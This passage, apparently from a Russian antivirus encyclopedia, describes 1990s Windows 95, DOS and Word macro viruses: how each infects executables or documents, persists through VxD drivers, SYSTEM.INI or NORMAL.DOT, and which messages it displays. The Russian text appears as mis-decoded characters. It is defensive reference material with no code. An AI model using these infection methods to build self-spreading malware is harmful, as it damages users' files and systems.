FindFirstFileW, FindNextFileA èëè FindNextFileW âèðóñ ìîæåò çàðàçèòü
ôàéë, ïîèñê êîòîðîãî ïðîèçâîäèòñÿ, ïîñëå ÷åãî ñðàçó æå ñêðûòü
ïðèðàùåíèå äëèíû â äàííîì ôàéëå.
Òàêèì îáðàçîì, Win32.Cabanas íåëüçÿ íàçâàòü "ïîëíîñòüþ ðåçèäåíòíûì"
âèðóñîì, ò.ê., "ïåðåõâàò" ñèñòåìíûõ ôóíêöèé è óñòàíîâêà âèðóñíîé êîïèè
â âûäåëåííûé ñèñòåìîé ó÷àñòîê ïàìÿòè ïðîèçâîäèòñÿ òîëüêî íà òåêóùèé
ñåàíñ ðàáîòû èíôèöèðîâàííîé ïðîãðàììû. Íî, ÷òî ïðîèçîéäåò åñëè
ïîëüçîâàòåëü çàïóñòèò, íàïðèìåð, èíôèöèðîâàííûé Norton Commander for
Windows 95 èëè Command Interpreter for Windows NT? Èëè ïðîãðàììó,
êîòîðàÿ îñòàåòñÿ â ïàìÿòè ðåçèäåíòíî? Ïðàâèëüíî - âìåñòå ñ òàêîé
ïðîãðàììîé, äî òåõ ïîð ïîêà äàííàÿ ïðîãðàììà íå áóäåò çàâåðøåíà, áóäåò
"òðóäèòüñÿ" è Win32.Cabanas.
Win32.Cabanas ñîäåðæèò çàøèôðîâàííûé òåêñò "(c) Win32.Cabanas v1.0 by
jqwerty/29A".
Win95.Apparition
Îïàñíûé ïîëèìîðôíûé âèðóñ, çàðàæàþùèé *.EXE ôàéëû â ôîpìàòå Portable
Executable (PE). Hàïèñàí íà ÿçûêå Borland C++, ñîäåpæèò â ñâîåì òåëå
êîìïpåññèpîâàííûå ôàéëû ñ èñõîäíûìè òåêñòàìè, èìååò çíà÷èòåëüíûé
pàçìåp - îêîëî 80 Kb è çàíèìàåò îêîëî 200 Kb ïàìÿòè. Ïpè çàpàæåíèè
äîïèñûâàåò ñâîé êîä è èñõîäíûå òåêñòû â íà÷àëî ôàéëà, ñòàpîå ñîäåpæèìîå
ïîpòèò, çàìåùàÿ îïpåäåëåííûå áàéòû êîäà ïpîãpàììû áàéòàìè 0FFh, 0FFh, ?
(? - áàéò ñî ñëó÷àéíûì çíà÷åíèåì â äèàïàçîíå îò 0 äî 255). Ïðè çàïóñêå
èíôèöèpîâàííîé ïpîãpàììû âèpóñ ïpîâåpÿåò â ñåêöèè [WinApp32] ôàéëà
Win.Ini íàëè÷èå ïåpåìåííûõ "Logging", "ShowDotsOn" è "NoInfect",
óïpàâëÿþùèõ påæèìàìè åãî pàáîòû, óñòàíàâëèâàåò ñîáñòâåííûé îápàáîò÷èê
êpèòè÷åñêèõ îøèáîê, îïpåäåëÿåò òèï îïåpàöèîííîé ñèñòåìû, ïåpåíîñèò ñâîé
êîä èç èíôèöèpîâàííîãî ôàéëà â ïàìÿòü, êîòîpàÿ áóäåò èñïîëüçîâàòüñÿ äëÿ
çàpàæåíèÿ ôàéëîâ, è çàãpóæàåò èíôèöèpîâàííóþ ïpîãpàììó. Äëÿ ýòîãî îí
ñîçäàåò âpåìåííûé ôàéë, ïåpåíîñèò â íåãî êîä è äàííûå, íàõîäÿùèåñÿ çà
òåëîì âèpóñà, è çàïóñêàåò ýòîò âpåìåííûé ôàéë íà èñïîëíåíèå â påæèìå
îòëàäêè. Âèpóñíûé îápàáîò÷èê îñîáûõ ñèòóàöèé îòëàäêè ïîëó÷àåò
óïpàâëåíèå ïpè èñïîëíåíèè èíñòpóêöèé, çàìåíåííûõ âèpóñîì, è
âîññòàíàâëèâàåò èçìåíåííûå áàéòû êîäà. Ïîñëå çàãpóçêè ïpîãpàììû âèpóñ
ïpîâåpÿåò íàëè÷èå ñâîåé êîïèè è, åñëè îíà àêòèâíà, çàâåpøàåò pàáîòó.
Èíà÷å îí ñîçäàåò ñòàíäàpòíîå "ñêðûòîå" îêíî, óñòàíàâëèâàåò îápàáîò÷èêè
ñèñòåìíûõ ñîáûòèé è íà÷èíàåò îáû÷íûé äëÿ Windows-ïpèëîæåíèé öèêë èõ
îápàáîòêè. Ïpè ïîëó÷åíèè óïpàâëåíèÿ ïî ñîáûòèþ îò ñèñòåìíîãî òàéìåpà
âèpóñ ñêàíèpóåò êàòàëîãè, íà÷èíàÿ ñ êîpíåâîãî êàòàëîãà ïåpâîãî
äîñòóïíîãî ëîãè÷åñêîãî äèñêà. Ïpè êàæäîì îápàáàòûâàåìîì ñèãíàëå òàéìåpà
âèpóñ èùåò ñëåäóþùèé ôàéë èëè êàòàëîã è òàêèì îápàçîì îpãàíèçóåò ïîèñê
ôàéëîâ-æåpòâ. Åñëè pàñøèpåíèå ôàéëà ".EXE" è èìÿ íå "BCC32", âèpóñ
ïpåäïpèíèìàåò ïîïûòêó îïpåäåëèòü òèï ôàéëà è, åñëè ôàéë èìååò ôîpìàò
Portable Executable è ïåpåìåííàÿ "NoInfect" â ôàéëå Win.Ini íå èìååò
çíà÷åíèÿ "Yes", çàpàæàåò åãî. Äëÿ ýòîãî îí ñîçäàåò âpåìåííûé ôàéë,
çàïèñûâàåò â íåãî ñâîå òåëî, êîìïpåññèpîâàííûå èñõîäíûå òåêñòû è
äîïèñûâàåò çàpàæàåìûé ôàéë. Ïpè çàïèñè ôàéëà-æåpòâû âèpóñ èùåò
ïîñëåäîâàòåëüíîñòè èç 3 îïpåäåëåííûõ áàéò è çàìåíÿåò ïåpâûå äâà áàéòà
íà 0FFh, ïîñëåäíèé - íà áàéò ñî ñëó÷àéíûì çíà÷åíèåì â äèàïàçîíå îò 0 äî
255. Ïîñêîëüêó ïpè ýòîì âèpóñ íå ïpîèçâîäèò íèêàêèõ äîïîëíèòåëüíûõ
ïpîâåpîê, íåêîòîpûå ïpîãpàììû ìîãóò áûòü áåçíàäåæíî èñïîp÷åíû. Åñëè æå
èìÿ íàéäåííîãî ôàéëà - BCC32.EXE, âèpóñ ïpîâåpÿåò íàëè÷èå íà äèñêå
äpóãèõ ôàéëîâ êîìïèëÿòîpà Borland C++ è, åñëè îíè ïpèñóòñòâóþò,
ïpèñòóïàåò ê ãåíåpàöèè î÷åpåäíîé ïîëèìîpôíîé êîïèè. Ñíà÷àëà îí
pàñïàêîâûâàåò ôàéëû ñî ñâîèìè èñõîäíûìè òåêñòàìè è ñîõpàíÿåò èõ âî
âpåìåííîì êàòàëîãå. Çàòåì îí íà÷èíàåò ñîçäàâàòü èõ êîïèè, ïpè÷åì ïîñëå
çàïèñè êàæäîé ñòpîêè ìîæåò ïpîèñõîäèòü ãåíåpàöèÿ èñõîäíîãî òåêñòà
"ìóñîpíîãî" êîäà - âûçîâîâ íåêîòîpûõ ôóíêöèé API, àpèôìåòè÷åñêèõ
îïåpàöèé, ïpîöåäóp-"ïóñòûøåê", îáúÿâëåíèé íåèñïîëüçóåìûõ ïåpåìåííûõ è
ò.ä. Ïîñëå çàïèñè êîïèé âèpóñ ñîçäàåò ôàéë påñópñîâ è íåêîòîpûå äpóãèå
ôàéëû, íåîáõîäèìûå äëÿ êîìïèëÿöèè ïîëó÷åííûõ èñõîäíûõ òåêñòîâ, êîòîpóþ
âèpóñ è îñóùåñòâëÿåò ïpè ïîìîùè íàéäåííûõ ïpîãpàìì Borland C++. Åñëè
êîìïèëÿöèÿ çàêîí÷èëàñü óñïåøíî, âèpóñ àpõèâèpóåò èñõîäíûå òåêñòû
óòèëèòîé EXTRACT.EXE, ïåpåçàïèñûâàåò â íèõ íåêîòîpûå çíà÷åíèÿ
ïåpåìåííûõ, çàâèñÿùèå îò pàçìåpîâ ïîëó÷åííîãî èñïîëíÿåìîãî ìîäóëÿ è
óïàêîâàííûõ òåêñòîâ, è ïåpåêîìïèëèpóåò ïpîåêò. Ïîñëå ýòîãî âñå
âpåìåííûå ôàéëû óäàëÿþòñÿ, à ñîäåpæèìîå ïîëó÷åííîãî èñïîëíÿåìîãî ìîäóëÿ
è àpõèâèpîâàííûõ èñõîäíûõ òåêñòîâ çàìåùàåò áóôåpà â ïàìÿòè,
ïpåäíàçíà÷åííûå äëÿ çàpàæåíèÿ ôàéëîâ.
Win95.Boza (1-4)
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ, çàðàæàþùèé NewExe ôàéëû â ôîðìàòå PE
(MS-Windows'95) â òåêóùåì êàòàëîãå äèñêà. Ïðè çàðàæåíèè ôàéëîâ âèðóñ
èñïîëüçóåò ïðÿìûå âûçîâû â ìîäóëü KERNEL32 ïî îïðåäåëåííûì àäðåñàì.
Ó èíôèöèðîâàííîãî ôàéëà âèðóñ èíêðåìåíòèðóåò êîëè÷åñòâî ñåêöèé â
PE - çàãîëîâêå (NumberOfSections) è ñîçäàåò íîâóþ ñåêöèþ ñ èìåíåì
".vlad". 31 ÷èñëà âèðóñ âûâîäèò íà ýêðàí ñîîáùåíèå:
Bizatch by Quantum / VLAD
The taste of fame just got tastier!
VLAD Australia does it again with the world's first Win95 Virus
From the old school to the new..
Metabolis
Qark
Darkman
Automag
Antigen
RhinceWind
Quantum
Absolute Overlord
CoKe
Òàêæå âèðóñ ñîäåðæèò òåêñò "Please note: the name of this virus is
[Bizatch] written by Quantum of VLAD".Win95.Boza ñîäåðæèò ìàññó îøèáîê,
â ðåçóëüòàòå êîòîðûõ "íîðìàëüíàÿ æèçíåäåÿòåëüíîñòü" âèðóñà,ïðàêòè÷åñêè,
íåâîçìîæíà.
Win95.Companion
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ-ñïóòíèê. Ïðîèçâîäèò ïîèñê *.EXE-ôàéëîâ
â ôîðìàòå PE (Win95/NT) â òåêóùåì êàòàëîãå è çàðàæåíèå èõ. Âèðóñ
ïðèñâàèâàåò PE-EXE-ôàéëó ðàñøèðåíèå COM è çàïèñûâàåò ñâîé êîä â ôàéë ñ
ðàñøèðåíèåì EXE, âìåñòî ïðîãðàììíîãî êîäà.
Win95.Harry.1536 (1,2), 2560
Îïàñíûå "ðåçèäåíòíûå" âèðóñû. Çàðàæàþò PE EXE-ôàéëû. Ïðè ñòàðòå
èíôèöèðîâàííîãî ôàéëà âèðóñû âíåäðÿþòñÿ â ÿäðî Windows 95, â îáëàñòü
äàííûõ äðàéâåðà VMM (åñëè òàì åñòü ñâîáîäíîå ìåñòî) è "ïåðåõâàòûâàþò"
ôàéëîâûå ôóíêöèè ñèñòåìû (IFS API). Ïðè îòêðûòèè PE EXE-ôàéëîâ âèðóñû
çàðàæàþò èõ, çàïèñûâàÿñü â êîíåö ýòèõ ôàéëîâ â îáëàñòü ïîñëåäíåé ñåêöèè
è ìîäèôèöèðóÿ PE çàãîëîâîê (õàðàêòåðèñòèêè ïîñëåäíåé ñåãìåíòíîé
ñåêöèè). Win95.Harry.2560 ïðîÿâëÿåòñÿ èíòåðåñíûì âèäåî-ýôôåêòîì -
èçìåíÿåò êóðñîð ìûøè íà èçîáðàæåíèå ìåäèöèíñêîãî øïðèöà. Äëÿ ýòèõ öåëåé
âèðóñ ñîçäàåò ôàéë C:\suringe.cur è ðåãèñòðèðóåò åãî â ñèñòåìå.
Win95.Harry.1536 ñîäåðæèò òåêñò "Anxiety.Poppy.95 by Vicodin",
Win95.Harry.2560 èìååò ñòðîêè "Fuck Harry by Quantum / VLAD", "\Control
Panel\Cursors", "Arrow".
Win95.Jacky
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ, çàðàæàþùèé ôàéëû â ôîðìàòå PE. Ïðè
ñòàðòå âèðóñ ïûòàåòñÿ îïðåäåëèòü àäðåñà ñèñòåìíûõ ôàéëîâûõ ôóíêöèé,
íàõîäÿùèõñÿ â ÿäðå Windows'95. Äàëåå ñ ïîìîùüþ ýòèõ ôóíêöèé âèðóñ
ïðîèçâîäèò ïîèñê è çàðàæåíèå ôàéëîâ. Ïðè çàðàæåíèè ôàéëà âèðóñ
èçìåíÿåò õàðàêòåðèñòèêè ïîñëåäíåé ñåãìåíòíîé ñåêöèè ôàéëà, çàïèñûâàåò
â äàííóþ ñåêöèþ ñâîé êîä è óñòàíàâëèâàåò íà íåãî òî÷êó âõîäà. Âèðóñ
ñîäåðæèò çàøèôðîâàííûå ñòðîêè:
To My d34d fRi3nD c4b4n4s..
A Win/NT/95 ViRuS v1.00.
By: j4cKy Qw3rTy / 29A.
jqw3rty@cryogen.com
Win95.Mad
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Àëãîðèòì ðàáîòû äàííîãî
âèðóñà î÷åíü ïîõîæè íà àëãîðèòìû âèðóñà Win95.Jacky. Ïðîèçâîäèò ïîèñê
*.EXE ôàéëîâ â ôîðìàòå Win PortableExe (PE) â òåêóùåì è ðîäèòåëüñêèõ
êàòàëîãàõ è çàðàæàåò èõ. Ïðè çàðàæåíèè ôàéëà âèðóñ èçìåíÿåò
õàðàêòåðèñòèêè ïîñëåäíåé ñåãìåíòíîé ñåêöèè ôàéëà, åå ñòàðòîâûé àäðåñ è
ðàçìåð, è çàïèñûâàåò ñâîé êîä â êîíåö ôàéëà. Â çàâèñèìîñòè îò òåêóùåãî
âðåìåíè âèðóñ ìîæåò âûâåñòè îêíî ñîîáùåíèé ñ òåêñòîì:
Multiplatform Advanced Destroyer
Hello user your computer is infected by MAD virus
Welcome to my first virus for Windoze95...
Distribution & Copyright by Black Angel 1997
Ñîäåðæèò òåêñò "[MAD for Win95] version 1.0 BETA! (c)Black Angel`97".
Win95.Memorial
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ,çàðàæàþùèé DOS COM è EXE-ôàéëû,
à òàêæå *.EXE è *.SCR-ôàéëû â ôîðìàòå PortableExe (PE). ßâëÿåòñÿ ïåðâûì
èçâåñòíûì ïîëèìîðôíûì âèðóñîì äëÿ îïåðàöèîííîé ñèñòåìû Windows'95. Â
DOS ôàéëàõ è â VxD - äðàéâåðå âèðóñ íå çàøèôðîâàí. Ïðè çàïóñêå
èíôèöèðîâàííîãî DOS ôàéëà, âèðóñ ïðîâåðÿåò íàëè÷èå ñðåäû Windows è
ñîáñòâåííîé ðåçèäåíòíîé êîïèè â ïàìÿòè êîìïüþòåðà. Åñëè Windows
çàãðóæåíà èëè âèðóñíàÿ êîïèÿ óæå ïðèñóòñòâóåò â ñèñòåìå, òî âèðóñ íå
ïðåäïðèíèìàåò íèêàêèõ äåéñòâèé è îòäàåò óïðàâëåíèå ïðîãðàììå-íîñèòåëþ.
Åñëè æå äàííûå óñëîâèÿ íå âûïîëíÿþòñÿ, òî âèðóñ ñîçäàåò ôàéë
C:\CLINT.VXD (èíôèöèðîâàííûå EXE-ôàéëû ñîäåðæàò îøèáêó â ñîçäàíèè VxD-
äðàéâåðà), çàïèñûâàåò â íåãî ñîáñòâåííûé ðàñïàêîâàííûé âèðóñíûé êîä
(â çàðàæåííûõ ôàéëàõ êîä âèðòóàëüíîãî äðàéâåðà õðàíèòñÿ â óïàêîâàííîì
âèäå) è îñòàâëÿåò â îáëàñòè âòîðîé ïîëîâèíû òàáëèöû âåêòîðîâ ïðåðûâàíèé
ðåçèäåíòíûé êîä, êîòîðûé "êîíòðîëèðóåò" INT 2Fh. Äàííàÿ ðåçèäåíòíàÿ
êîïèÿ íå çàðàæàåò ôàéëû, à ïðåäíàçíà÷åíà äëÿ âîçâðàùåíèÿ îòâåòà "ÿ
çäåñü" è äëÿ çàãðóçêè âèðòóàëüíîãî âèðóñíîãî äðàéâåðà C:\CLINT.VXD ïðè
ñòàðòå Windows. Ïðè èíèöèàëèçàöèè Windows âèðóñíûé ðåçèäåíòíûé êîä
ïîëó÷àåò óïðàâëåíèå è äîñòàòî÷íî õèòðîóìíûì ñïîñîáîì, èñïîëüçóÿ
èíòåðôåéñ Windows, "ïîäñêàçûâàåò" ñðåäå Windows, ÷òî íåîáõîäèìî
çàãðóçèòü ðåçèäåíòíî â ïàìÿòü äðàéâåð C:\CLINT.VXD. Òàêèì îáðàçîì,
âèðóñ áåç ìàíèïóëÿöèé ñ ôàéëîì SYSTEM.INI çàãðóæàåò ñâîé âèðòóàëüíûé
äðàéâåð. Äàííûé äðàéâåð êîíòðîëèðóåò ôàéëîâûå îïåðàöèè è ïðè îáðàùåíèè
ê DOS COM è EXE-ôàéëàì, à òàêæå ê *.EXE è *.SCR ôàéëàì â ôîðìàòå PE -
çàðàæàåò èõ. Ïðè çàðàæåíèè PE ôàéëîâ, âèðóñ ñîçäàåò äîïîëíèòåëüíóþ
ñåãìåíòíóþ ñåêöèþ ñ íàçâàíèåì CLINTON (îáû÷íî äàííîå íàçâàíèå
çàøèôðîâàíî) è çàïèñûâàåò ñâîé çàøèôðîâàííûé ïîëèìîðôíûé êîä â êîíåö
ôàéëà. Ïðè ñòàðòå èíôèöèðîâàííîãî PE ôàéëà ïîä Windows'95, âèðóñ
îïðåäåëÿåò àäðåñà íåîáõîäèìûõ åìó ïðîöåäóð â ìîäóëÿõ KERNEL32 è USER32
è, ïðè îòñóòñòâèè âèðóñíîãî ðåçèäåíòíîãî êîäà â ñèñòåìå, ñîçäàåò
âèðóñíûé âèðòóàëüíûé äðàéâåð â êîðíåâîì êàòàëîãå è çàãðóæàåò åãî â
ñèñòåìó òàêæå î÷åíü èíòåðåñíûì ñïîñîáîì ñ ïîìîùüþ èíòåðôåéñà
Windows'95. Òàê, óñòàíîâêà ðåçèäåíòíîé êîïèè î÷åíü ïîõîæà ïî àëãîðèòìó,
íî ðàçëè÷àåòñÿ ïî ðåàëèçàöèè äëÿ ðàçëè÷íûõ îïåðàöèîííûõ ñðåä. Õîòÿ è â
òîì, è â äðóãîì ñëó÷àå íåîáõîäèìî íàëè÷èå Windows'95. 10 àïðåëÿ âèðóñ
âûâîäèò îêíî ñîîáùåíèé ñ òåêñòîì:
Clinton Haines Memorial Virus by Quantum/VLAD and Qark/VLAD
Clinton Haines, also known as Harry McBungus, Terminator Z and Talon
died of a drug overdose on his 21st birthday, April the 10th, 1997.
During his time as a virus writer he wrote the No Frills family, X-Fungus,
Daemon and 1984 viruses. He was a good friend to VLAD and so we write
this virus in his honour. We hope it's good enough to do him justice.
VLAD Remembers. Rest in Peace
Win95.MrKlunky
Íåîïàñíûé "ðåçèäåíòíûé" âèðóñ. Ïî ñïîñîáàì âíåäðåíèÿ â ñèñòåìó è
çàðàæåíèþ ôàéëîâ î÷åíü ïîõîæ íà âèðóñ Win95.Punch. Ïðè ñòàðòå
çàðàæåííîãî PE EXE-ôàéëà âèðóñ ñîçäàåò ôàéë MRKLUNKY.VXD â ôîðìàòå
VxD-äðàéâåðà è ðåãèñòðèðóåò åãî â ñèñòåìå. Ïðè çàðàæåíèè ôàéëîâ âèðóñ
ñîçäàåò íîâóþ ñåãìåíòíóþ ñåêöèþ ñ èìåíåì MrKlunky è çàïèñûâàåò ñâîé êîä
â êîíåö ôàéëîâ. Âèðóñ ñîçäàåò ôàéë C:\LOG.LOG, â êîòîðûé çàïèñûâàåò
èìåíà âñåõ çàðàæàåìûõ ôàéëîâ.
Win95.Punch
Îïàñíûé "ðåçèäåíòíûé" âèðóñ, çàðàæàþùèé EXE-ôàéëû â ôîðìàòå Portable
Execute (Win95/NT). Ïðè ñòàðòå èíôèöèðîâàííîãî EXE-ôàéëà âèðóñ ïûòàåòñÿ
ñîçäàòü ôàéë VVFS.VXD (â ôîðìàòå LE EXE) â êàòàëîãå C:\WIN95 èëè â
C:\WINDOWS. Åñëè òàêèõ êàòàëîãîâ íå ñóùåñòâóåò, òî âèðóñ "îòêàçûâàåòñÿ"
îò ñâîåé ïîïûòêè ïîðàçèòü ñèñòåìó. Ïðè óäà÷íîé ïîïûòêå âèðóñ çàïèñûâàåò
â ôàéë VVFS.VXD ñâîé âèðóñíûé êîä äëèíîé 9262 áàéòà â ôîðìàòå VxD-
äðàéâåðà. Äàëåå âèðóñ îòêðûâàåò ôàéë SYSTEM.INI è ïðîèçâîäèò ïîèñê
ñòðîêè "ice=" ("device="). Ñðàçó æå ïîñëå äàííîé ñòðîêè âèðóñ âñòàâëÿåò
âûçîâ ñâîåãî ôàéëà-äðîïïåðà VVFS.VXD, ïðè÷åì âèðóñ ïðîâåðÿåò íàëè÷èå
äàííîãî âûçîâà. Ïîñëå ÷åãî ôàéë SYSTEM.INI çàêðûâàåòñÿ è âèðóñ
âîçâðàùàåò óïðàâëåíèå ïðîãðàììå-íîñèòåëþ. Â ðåçóëüòàòå, âèðóñ â VxD-
äðàéâåðå àêòèâèçèðóåòñÿ â ñèñòåìå òîëüêî ïîñëå ïåðâîé æå ïåðåçàãðóçêè
ñèñòåìû. Ïîñëå çàãðóçêè MS-Windows'95 âèðóñ ïîëó÷àåò óïðàâëåíèå,
îñòàåòñÿ â ïàìÿòè, êàê ñèñòåìíûé VxD-äðàéâåð è "ïåðåõâàòûâàåò" îòêðûòèå
ôàéëîâ (IFSFN_OPEN). Â ðåçóëüòàòå, âñå îòêðûâàåìûå ôàéëû, êàê â Win95,
òàê è â DOS-îêíå áóäóò êîíòðîëèðîâàòüñÿ âèðóñîì. Åñëè îòêðûâàåìûé ôàéë
íàõîäèòñÿ â ôîðìàòå PE (Win95/NT-ôàéë), òî âèðóñ ïûòàåòñÿ åãî çàðàçèòü.
Ïðè çàðàæåíèè âèðóñ ñîçäàåò íîâóþ ñåêöèþ â çàãîëîâêå PE, êîòîðîé
ïðèñâàèâàåò èìÿ QuantumG, çàïèñûâàåò ñâîå òåëî (10185 áàéò) â êîíåö
ôàéëà è ïðàâèò ñåêöèþ ðåñóðñîâ è îïèñàíèå ðåñóðñîâ â çàãîëîâêå PE äëÿ
âîçìîæíîñòè âûçîâà ôóíêöèé KERNEL32 èç âèðóñíîãî êîäà.Âèðóñ íå çàðàæàåò
ôàéëû ó êîòîðûõ óæå ïðèñóòñòâóåò ñåêöèÿ ñ èìåíåì QuantumG.Ïðè çàðàæåíèè
âèðóñ íå êîíòðîëèðóåò ðàñøèðåíèÿ ôàéëîâ, à òîëüêî ôîðìàò ôàéëîâ.Ïîýòîìó
â ñèñòåìå ìîãóò îêàçàòüñÿ çàðàæåííûìè ôàéëû ñ ðàñøèðåíèÿìè DLL,CPL,DRV,
... Ðàçëè÷íàÿ äëèíà âèðóñíîãî êîäà ïðè çàðàæåíèè VxD-äðîïïåðà è EXE-
ôàéëîâ ñâÿçàíà ñ ðàçëè÷íûì ôîðìàòîì LE è PE ôàéëîâ, à òàêæå, ôîðìàëüíî,
ïðè çàðàæåíèè EXE-ôàéëîâ âèðóñ ñíà÷àëà çàïèñûâàåò ïðîöåäóðó ñîçäàíèÿ
âèðóñíîãî VxD-ôàéëà, à çàòåì, íåïîñðåäñòâåííî, è ñàì VxD-äðîïïåð. Âèðóñ
ñîäåðæèò îãðîìíîå êîëè÷åñòâî îøèáîê, èç-çà êîòîðûõ åãî íîðìàëüíàÿ
"æèçíåäåÿòåëüíîñòü" ïðàêòè÷åñêè íåâîçìîæíà. Âèðóñ ñîäåðæèò òåêñòû:
c:\win95\system.ini
c:\windows\system.ini
c:\win95\system\vvfs.vxd
c:\windows\system\vvfs.vxd
QuantumG
Beating You to the Punch in the '97 (almost)
Win95.Zombie
Íåîïàñíûé íåðåçèäåíòíûé çàøèôðîâàííûé âèðóñ, çàðàæàþùèé EXE-ôàéëû â
ôîðìàòå PortableExecutable. Ïðè ñòàðòå èíôèöèðîâàííîãî ôàéëà, âèðóñíûé
äåêðèïòîð ðàñøèôðîâûâàåò îñíîâíîå òåëî âèðóñà è îòäàåò åìó óïðàâëåíèå.
Îñíîâíîé âèðóñíûé êîä îïðåäåëÿåò ðàñïîëîæåíèå â ïàìÿòè KERNEL32 Export
Table è ñîõðàíÿåò â ñâîåì òåëå àäðåñà ôóíêöèé WIN32 KERNEL API,
íåîáõîäèìûõ åìó äëÿ çàðàæåíèÿ ôàéëîâ. Äàëåå âèðóñ îïðåäåëÿåò êîìàíäíóþ
ñòðîêó çàïóùåííîé èíôèöèðîâàííîé ïðîãðàììû è çàïóñêàåò åå ïîâòîðíî ñ
ïîìîùüþ ôóíêöèè WinExec. Âòîðàÿ âèðóñíàÿ êîïèÿ è áóäåò ïðîèçâîäèòü
äàëüíåéøåå çàðàæåíèå ñèñòåìû. À ïåðâàÿ âèðóñíàÿ êîïèÿ ( êîòîðàÿ
è ïðîèçâåëà ïîâòîðíûé çàïóñê èíôèöèðîâàííîé ïðîãðàììû) ïîñëå îòðàáîòêè
ïðîöåäóðû WinExec âîçâðàòèò óïðàâëåíèå ïðîãðàììå-âèðóñîíîñèòåëþ. Äëÿ
çàðàæåíèÿ PE EXE-ôàéëîâ âèðóñ ñêàíèðóåò ñèñòåìíûé êàòàëîã Windows, à
òàêæå ïðîõîäèò âñå êàòàëîãè äèñêîâ C:, D:, E: è F:. Ïðè íàõîæäåíèè PE
EXE-ôàéëà, âèðóñ ïðîèçâîäèò åãî àíàëèç, è åñëè äàííûé ôàéë
óäîâëåòâîðÿåò íåêîòîðûì óñëîâèÿì, òî ïðîèçâîäèòñÿ åãî çàðàæåíèå.
Win95.Zombie ñîçäàåò íîâóþ ñåãìåíòóþ ñåêöèþ .Z0MBiE â çàãîëîâêå PE,
óñòàíàâëèâàåò íà íåå òî÷êó âõîäà è çàïèñûâàåò ñâîé çàøèôðîâàííûé êîä
â êîíåö ôàéëà, â îáëàñòü äàííîé ñåãìåíòíîé ñåêöèè. Ïîñëå çàðàæåíèÿ
ëîãè÷åñêîãî äèñêà âèðóñ ñîçäàåò â åãî êîðíåâîì êàòàëîãå ôàéë-äðîïïåð
ZSetUp.EXE ñ àòðèáóòàìè: àðõèâíûé è ñèñòåìíûé. Â ýòîò ôàéë âèðóñ
Win95.Zombie çàïèñûâàåò êîä âèðóñà Zombie.1922 (ñì. îïèñàíèå âèðóñà
Zombie.1922). Âèðóñ ñîäåðæèò òåêñòû:
Z0MBiE 1.01 (c) 1997
My 2nd virii for mustdie
Tnx to S.S.R.
Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
Tnx to S.S.R.
ShadowRAM/Virtual Process Infector
ShadowRAM Technology (c) 1996,97 Z0MBiE
code................1398
viriisize...........4584
virtsize............8936
Wisconsin.815
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Âåäåò ñ÷åò÷èê çàïóñêîâ èíôèöèðîâàííîãî
ôàéëà. Ïîñëå 4 çàïóñêîâ âèðóñ ïûòàåòñÿ óíè÷òîæèòü ôàéëû *.PAS â òåêóùåì
äèðåêòîðèè, ïîñëå ÷åãî âûâîäèò òåêñò "Death to Pascal.".
Witching.1400 (1,2)
Îïàñíûå íåðåçèäåíòíûå âèðóñû. Óäàëÿþò ôàéëû cHkLiS*.*. Ïåðâûì äåëîì
ïûòàþòñÿ çàðàçèòü ôàéëû ChKdSk.exE, XcOPy.eXE, MeM.ExE. Èíîãäà âûâîäÿò
òåêñò:
IT'S WITCHING HOUR... YOUR COMPUTER IS BEING HAUNTED ! HAHAHA...
1 àïðåëÿ âûâîäÿò äðóãîé òåêñò:
Bad luck... You've got a virus in your system !
Think about using a virus-scanner which is more up-to-date !
Here lies a program in its coffin, executed by a user one time too often...
Wizard.802
Ðàçìåùàåò ñâîþ TSR-êîïèþ â ïàìÿòè ïî àäðåñó 9000:A000h áåç êîððåêöèè
MCB-áëîêîâ. Ñîäåðæèò ñòðîêó "PC-FLU by WIZARD 1991".
Wizard.812, 2502
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Wizard.2502 èíîãäà ïðîèãðûâàåò ìåëîäèþ.
Ñîäåðæàò òåêñò "WIZARD".
WM - âèðóñû
Âèðóñû, çàðàæàþùèé òåêñòîâûå ôàéëû-äîêóìåíòû â ôîðìàòå WinWord 6.0 èëè
7.0. Çàðàæåíèå ñèñòåìû âèðóñàìè ïðîèñõîäèò ïðè îòêðûòèè íà
ðåäàêòèðîâàíèå çàðàæåííûõ DOC-ôàéëîâ. Ïðè îòêðûòèè ôàéëà-äîêóìåíòà
WinWord âûçûâàåò, íàõîäÿùèåñÿ â ýòèõ äîêóìåíòàõ âèðóñíûå ìàêðîñû,
êîòîðûå íàïèñàíû íà ÿçûêå WordBasic è â äàëüíåéøåì ìîãóò áûòü
îïðåäåëåíû, êàê ãëîáàëüíûå ìàêðîñû. Äàííûå ìàêðîñû ïðîèçâîäÿò
êîïèðîâàíèå âèðóñíîãî òåëà - âèðóñíûõ ìàêðîñîâ ïðè ñîõðàíåíèè "ñòàðûõ
äîêóìåíòîâ" èëè âíîâü ñîçäàâàåìûõ ÷åðåç êîìàíäó "Save As". Òàêæå äàííûå
âèðóñû ìîãóò ïðîèçâîäèòü ïîèñê äîêóìåíòîâ â ôîðìàòå WinWord è
ïðîèçâîäèòü â íèõ çàïèñü âèðóñíûõ ìàêðîñîâ. Ïðè âûõîäå èç WinWord
ïðîèñõîäèò àâòîìàòè÷åñêàÿ çàïèñü âèðóñíûõ ãëîáàëüíûõ ìàêðîñîâ â DOT-
ôàéë (êàê ïðàâèëî, ýòî ôàéë NORMAL.DOT). Òàêèì îáðàçîì, ïðè ñëåäóþùåì
ñòàðòå WinWord ñíîâà àâòîìàòè÷åñêè çàãðóçèò âèðóñíûå ãëîáàëüíûå ìàêðîñû
èç ôàéëà ãëîáàëüíûõ ìàêðîñîâ NORMAL.DOT.
WM.Alliance
"Ðîäèòåëüñêàÿ" êîïèÿ âèðóñà ñîäåðæèò ìàêðîñ AutoOpen. Ïðè îòêðûòèè
çàðàæåííîãî äîêóìåíòà îáíîâëÿåò SummaryInfo, çàïèñûâàÿ òóäà ñòðîêó
"You Have Been Infected by the Alliance". Íå ïðîèçâîäÿ íèêàêèõ ïðîâåðîê
ñîçäàåò â Normal.Dot ìàêðîñû AutoOpen è AutoNew è çàïèñûâàåò â íèõ ñâîå
